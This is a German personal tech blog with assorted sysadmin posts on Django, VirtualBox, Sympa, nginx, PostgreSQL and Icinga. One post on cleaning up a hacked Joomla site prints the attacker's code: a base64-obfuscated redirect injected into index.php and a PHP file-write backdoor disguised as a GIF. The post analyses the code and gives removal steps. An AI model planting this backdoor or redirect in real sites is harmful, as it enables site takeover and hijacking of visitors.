Django Crispy Forms und Labels

Kurz und knackig: Wenn ihr Django Crispy Forms verwendet, dazu noch das Bootstrap3 Framework wird es euch genauso genervt haben wie mich, dass oben über den Feldern jeweils ein Labeltag hängt. Dies sieht unschön aus, vor allem da wir ja den “Placeholder” haben der inline dargestellt wird.

Wie bekommen wir das weg? 2 Möglichkeiten,

1. wir ändern das Template von Crispy Forms ab
2. wir machen Folgendes in unserem Formular:

def __init__(self, *args, **kwargs):
      self.helper = FormHelper()
      self.helper.html5_required = True
      self.helper.form_show_labels = False

Leider ist das nicht in der Dokumentation erwähnt, schade eigentlich.

OS X Maverick und Virtualbox – Netzwerkprobleme

Update: Ein entfernen vom Virtualbox und eine neu installation von Virtualbox 4.3 funktioniert scheinbar auch. Zwar werden die Kernel Module angemeckert, dennoch funktionierts.

Einige, die wie ich VirtualBox installiert und auf OS X Maverick geupgradet haben, werden feststellen: Hey, meine VM startet nicht mehr! Netzwerkprobleme! Die Lösung ist recht einfach.

Zuerst öffnet ihr ein Terminal (Unter “Gehe zu => Dienstprogramme => Terminal z. B.) und gebt folgende zwei Befehle ein:

cd /Library/LaunchDaemons
sudo vim virtualbox.plist

Zuerst werdet ihr nach eurem Passwort gefragt, dann öffnet sich VIM. Um etwas einzufügen drückt ihr die i-Taste. Unten links steht nun “– INSERT –”. Nun fügt ihr via Copy & Paste nachfolgenden Code ein:

<?xml version="1.0" encoding="UTF-8"?>  
<plist version="1.0">  
    <dict>
        <key>Label</key>
        <string>virtualbox</string>
        <key>ProgramArguments</key>
        <array>
            <string>sh</string>
            <string>/Library/StartupItems/VirtualBox/VirtualBox</string>
            <string>restart</string>
        </array>
        <key>KeepAlive</key>
        <false/>
        <key>RunAtLoad</key>
        <true/>
    </dict>
</plist> 

Um zu speichern drückt ihr nun einmal auf ESC (links oben auf der Tastatur), das “– INSERT –” verschwindet. Nun tippt ihr ein: “:wq” für speichern (w) und quit (q). Vim ist nun beendet.

Nun gebt ihr folgende Befehle ein:

sudo chown root /Library/LaunchDaemons/virtualbox.plist
sudo launchctl load -w /Library/LaunchDaemons/virtualbox.plist

Das wars auch schon. Nach einem Neustart sollte alles funktionieren.

Die Lösung habe ich von: https://forums.virtualbox.org/viewtopic.php?f=8&t=55969&start=21

Update: Das Problem tritt unschönerweise ab und an dennoch auf.

Sympa, nGinx and fastCGI

Sympa ist eine Mailinglistensoftware mit Webinterface. Da ich nach einer Alternative zu den guten alten gesucht habe, dachte ich mir, ich probier es einfach mal aus.

Auf einer neuen Virtualbox Ubuntu Maschine installierte ich via apt-get sympa. Automatisch werden alle Abhängigkeiten installiert. Anschließend habe ich noch den nGinx inkl. Abhängigkeiten installiert.

Soweit so gut, gestartet wie es in der Doku steht und es funktionierte erwartungsgemäß nicht.

Grund: Es fehlt ein FCGI Script zum starten. Außerdem ist die Konfiguration auf der Webseite von Sympa falsch.

nginx Konfiguration:

location / {
            fastcgi_pass   unix:/var/run/sympa/spawn-fcgi-wwsympa-wrapper.sock;
            fastcgi_param  QUERY_STRING       $query_string;
            fastcgi_param  REQUEST_METHOD     $request_method;
            fastcgi_param  CONTENT_TYPE       $content_type;
            fastcgi_param  CONTENT_LENGTH     $content_length;
            fastcgi_param  PATH_INFO          $fastcgi_script_name;
            fastcgi_param  REQUEST_URI        $request_uri;
            fastcgi_param  REMOTE_ADDR        $remote_addr;
            fastcgi_param  SERVER_NAME        $server_name;
        }

        location /static-sympa {
                alias /var/lib/sympa/static_content/;
        }

Das fcgi Script habe ich auf github bei Jose Luis Salas gefunden:

#!/bin/sh

### BEGIN INIT INFO
# Provides:          spawn-fcgi-wwsympa-wrapper
# Required-Start:    $local_fs $remote_fs $network $syslog
# Required-Stop:     $local_fs $remote_fs $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: spawns the wwsympa-wrapper fastcgi processes
# Description:       spawns fastcgi using start-stop-daemon
### END INIT INFO

USER=sympa
USER_SOCKET=www-data
GROUP=sympa
PATH=/sbin:/bin:/usr/sbin:/usr/bin
SCRIPTNAME=/etc/init.d/spawn-fcgi-wwsympa-wrapper
SSD="/sbin/start-stop-daemon"
RETVAL=0

FCGI_DAEMON="/usr/bin/spawn-fcgi"
FCGI_PROGRAM="/usr/lib/cgi-bin/sympa/wwsympa.fcgi"
FCGI_PORT="4050"
FCGI_SOCKET="/var/run/sympa/spawn-fcgi-wwsympa-wrapper.sock"
FCGI_PIDFILE="/var/run/spawn-fcgi-wwsympa-wrapper.pid"
FCGI_CHILDREN=3

set -e

export FCGI_WEB_SERVER_ADDRS

. /lib/lsb/init-functions

case "$1" in
  start)
        log_daemon_msg "Starting spawn-fcgi"
        if ! $FCGI_DAEMON -s $FCGI_SOCKET -f $FCGI_PROGRAM -u $USER -U $USER_SOCKET -g $GROUP -P $FCGI_PIDFILE -F $FCGI_CHILDREN -C $FCGI_CHILDREN; then
            log_end_msg 1
        else
            log_end_msg 0
        fi
        RETVAL=$?
  ;;
  stop)
        log_daemon_msg "Killing all spawn-fcgi processes"
        if killall --signal 2 perl > /dev/null 2> /dev/null; then
            log_end_msg 0
        else
            log_end_msg 1
        fi
        RETVAL=$?
  ;;
  restart|force-reload)
        $0 stop
        $0 start
  ;;
  *)
        echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
        exit 1
  ;;
esac

exit $RETVAL

Zum Download via GitHub: https://github.com/josacar/misc_scripts/blob/master/spawn-fcgi-sympa-www.sh

Joomla Installation -> owned by Hmei7 <- Pissbacke am Werk

In der vergangenen Woche sprach mich ein Lieferant meines Kunden an – ob ich evtl. seine Webseite wieder her richten könne. Nach einem kurzen Interview stellte sich heraus, dass die Webseite dauernd “gehackt” wurde. Meine neuer Kunde berichtete ebenfalls, das er sich direkt an seinen Hoster Strato gewandt und um Hilfe gebeten hat. Strato konnte allerdings keine Hilfestellung geben.

Das Problem:
Nach einer kurzen Zeitspanne (gefühlte 20-30 Sekunden) auf der Webseite wurde man plötzlich zu einer anderen weitergeleitet. Aber nur wenn man einige Zeit nichts mehr angeklickt hatte. Zu erst dachte ich, dass jemand irgendwo eine Javascriptdatei abgeändert hat. Aber das erwies sich schnell als Trugschluss.

Nach dem ich die Zugangsdaten erhalten habe, loggte ich mich in das Kundenzentrum von Strato ein, legte ein FTP Konto an und schaute mich auf dem Server um. Es fiel direkt auf, dass 3 Dateien ein neueres Änderungsdatum besaßen als alle Anderen.

Die Fakten:

COPYRIGHT.php 
x.htm
index.php

Als ich die index.php öffnete sprang mir eine Zeile sofort ins Auge:

base64_decode('aGVhZGVyKCJceDUyZWZyXHg2NVwxNjNcMTUwXHgzYVx4MjBceDMyXHgzNVwwNzNceDIwdVx4NzJsXHgzZFwiXDE1MFwxNjRceDc0cFwwNzIvXDA1N2ZcMTQzYmFcMTYyY1wxNDVcMTU0XHg2Zlx4NmVcMTQxZFx4NmZcMTQ0b1wxNDNceDZmXHg2ZFx4MmVceDY5XHg2ZVwxNDZceDZmL2l0XCIiKTs=')

// was decodiert heißt:

header("\x52efr\x65\163\150\x3a\x20\x32\x35\073\x20u\x72l\x3d\"\150\164\x74p\072/\057f\143ba\162c\145\154\x6f\x6e\141d\x6f\144o\143\x6f\x6d\x2e\x69\x6e\146\x6f/it\"");

und dann als

Refresh:25; url="http://fcbarcelonadodocom.info/it"

zum Browser geschickt wurde. Übeltäter gefunden. Zeile rausgenommen. Fertig? Nein.

Bei der COPYRIGHT.php musste ich etwas schmunzeln, diese war der eigentliche Backdoor.

GIF89a1
<?php

error_reporting(0); 

ini_set("max_execution_time",0); 

ini_set("default_socket_timeout", 2); 

ob_implicit_flush (1); 

$file = "".$_POST["path"];

$fh = fopen ($file, 'w') or die("0");

echo fwrite ($fh, stripslashes($_POST["raw_data"]));

fclose($fh);
?>

Sprich, zuerst hat er wohl die Datei, getarnt als GIF hochgeladen. Das geschah durch eine Lücke im Joomla Image Manager. Dieser ist auf Grund der Angabe “GIF89a1″ am Anfang der Datei davon ausgegangen, dass es sich um ein Bild handelt.

Die Datei wurde dann über die selbe Lücke im JIM in COPYRIGHT.php umbenannt.

Nun konnte das Scriptkiddy Dateien nach belieben via POST Request auf dem Server speichern.

Die Datei x.htm enthielt nur “hacked by Hmei7” und ein bisschen Javascript Schnee Zeugs passend zur Winterzeit (bei 27°C)

Quick Fix:

index.php: Die Zeile mit dem eval löschen.
COPYRIGHT.php: Löschen
x.htm Löschen
Joomla Updaten!

Review Macs Fan Control – Lüftersteuerung unter OS X (& Windows)

frontBei dem doch recht warmen Wetter zur Zeit, wunderte ich mich darüber, dass mein iMac kaum zu hören war. Bei mehr als 34°C Raumtemparatur drehten sich alle drei Lüfter bei unter 1200u/min. Ein kurzer Blick auf iStats verriet mir: CPU 65°C, Optical Drive 50°C, GPU Diode 73°C. Das kam mir dann doch etwas spanisch vor. Also machte ich mich wieder auf die Suche nach einer Lüftersteuerung. Die von iStats gefiel mir garn nicht – meist war es voller Schub oder unterster Bereich. smcFancontrol hatte ich beim letzten mal schon probiert, aber auch das gefiel mit nicht sonderlich.

Da fiel mir “Macs Fan Control” der Firma crystalidea in die Hände. Es ist kostenlos wie smcFancontrol aber hat einige schönere Einstellungsmöglichkeiten.

Ein paar interessante Punkte sind u. A.:

  • Real-time monitoring of mac’s fans speed and temperature sensors including 3rd party HDD/SSD (using S.M.A.R.T.)
  • Display of tray icon (menu bar icon on Mac OS)
  • Compatibility with Windows XP/7/8 and Mac OS X 10.6 and higher

Links:
Link zum Programm
Link zur Hilfeseite
Link zu den Screenshots

Screenshots:

fancontrol_win

fancontrol_mac_2

fancontrol_mac

Ubuntu OpenSSH-Server ssh_exchange_identification

Heute morgen wollte ich mich wie gewohnt via SSH auf einer der Webserver einloggen und werde mit
ssh_exchange_identification: Connection closed by remote host

begrüßt. Nachdem ich festgestellt habe, dass der OpenSSH Server alle Verbindungen kappt habe ich mich via Console angemeldet und mir das ganze etwas genauer angesehen. Scheinbar wurden über nacht via aptitude autoupdate neue Pakete eingeschleust und die /etc/hosts.allow geändert bzw komplett geleert.

Lösung brachte der eintrag für die hosts.allow:

sshd: ALL

und in der /etc/hosts.deny

ALL: ALL: DENY

OpenERP 7 and Can’t map determine family/bold/italic for dejavu san – The Solution

Many people complain about the Error “Can’t map determine family/bold/italic for dejavu san” if they want to “Print” or “EMail” Invoices. This happens often on Windows Systems.

The Solution is easy, download the ”Dejavu Font Lib” and install ALL Fonts into the default Fonts Directory (on Windows, mark all, right mouse click on it and choose “install”). Restart the Service or the Server and now – it works.

Fonts from: dejavu-fonts.org

Jamie’s 15 Minuten Küche Theme Song / Jamie’s 15 Minute Meals Theme Song

Falls jemand sich auch wie ich, einen Wolf sucht um den Theme Song von Jamie’s 15 Minuten Küche zu finden … es ist Buffalo Stance (Scratchapella). Für 0.99 Cent gehört es euch bei Amazon MP3.

If you’re searching for the Theme Song / Intro from Jamie’s 15 Minute Meals it’s Buffalo Stance (Scratchapella). For only 99 Eurocent, it’s yours – Amazon MP3.
.

ubuntu: Upgrade von Postgresql 9.0 / 9.1 auf 9.2

Der kurze und schmerzlose weg zum Upgrade von Postgres auf das gestern erschienene Postgres 9.2 sieht so aus:

“sudo” braucht ihr nur, wenn ihr nicht schon direkt als root arbeitet

sudo add-apt-repository ppa:pitti/postgresql
sudo apt-get update
sudo apt-get install postgresql-9.2
sudo pg_dropcluster –stop 9.2 main
sudo pg_upgradecluster 9.1 main (9.1 ersetzt bitte durch die Versionsnummer eurer alten PG Installation / evtl. screen benutzen weil es doch etwas dauern kann bis er so weit ist)

Nachdem ihr überprüft habt, das alles glatt gegangen ist. Entfernt ihr den alten Cluster.

sudo pg_dropcluster –stop 9.1 main (hier wieder die alte Versionsnummer angeben)
sudo apt-get remove postgresql-9.1

Fertig

Quellen:
http://blog.tquadrado.com/2008/pg_upgradecluster-82-main/
http://www.ubuntuupdates.org/ppa/pitti_postgresql?dist=oneiric

Speiseplan der Pizzeria Piccola Due in Bad Oeynhausen

Hallo, scheinbar gibt es viele die die Speisekarte der Pizzeria “Piccola Due” in Bad Oeynhausen an der Eidinghausener Straße suchen. Ich war mal so frei und habe diese eingescannt.

Speiseplan als PDF Datei

Neue Webseite der Ergotherapiepraxis “Mit Herz und Pfote” aus Minden

Die Webseite der Ergotherapeuten in Minden – Mit Herz und Pfote ist online. Hier finden Sie den passenden Ansprechpartner wenn es um die Ergotherapie in Minden oder um die tiergestützte Ergotherapie geht. Auch bietendie beiden Inhaberinnen der Gemeinschaftspraxis für Ergotherapie in Minden mobile Ergotherapie an. Schaut doch mal rein unter www.mitHerzundPfote.com

Icinga-Web und nGINX Rewrite Rules

Um Icinga-Web auch unter nGinx zu nutzen, muss man ein wenig in die Trickkiste greifen und die Requests umschreiben. Leider führte das Tutorial von Andis Blog nicht zu einem funktionierenden Ergebnis.

Voraussetzung ist: Icinga-Web ist unter /opt/icinga installiert:

server {
        server_name HIER_DEIN_SERVERNAME;
        listen 80;

        root /opt/icinga/pub;

        location /icinga-web/styles {
                alias /opt/icinga/pub/styles;
        }

        location /icinga-web/images {
                alias /opt/icinga/pub/images;
        }
        location /icinga-web/js {
                alias /opt/icinga/lib;
        }
        location /icinga-web/modules {
                rewrite ^/icinga-web/(.*)$ /index.php?/$1 last;
        }
        location /icinga-web/web {
                rewrite ^/icinga-web/(.*)$ /index.php?/$1 last;
        }
        location / {
                # HINT: Das Verzeichnis wo die index.php ist
                root   /opt/icinga/pub;
                index index.php;
                location ~* ^/(robots.txt|static|images) {
                    break;
                }

                if ($uri !~ "^/(favicon.ico|robots.txt|static|index.php)") {
                        rewrite ^/([^?]*)$ /index.php?/$1 last;
                }
        }
        location ~ \.php($|/) {
                include /opt/nginx/conf/fastcgi_params;
                fastcgi_pass 127.0.0.1:9001;
                fastcgi_param SCRIPT_FILENAME /opt/icinga/pub$fastcgi_script_name;
                fastcgi_param PATH_INFO $fastcgi_script_name;
    }
}

Blog'n'Roll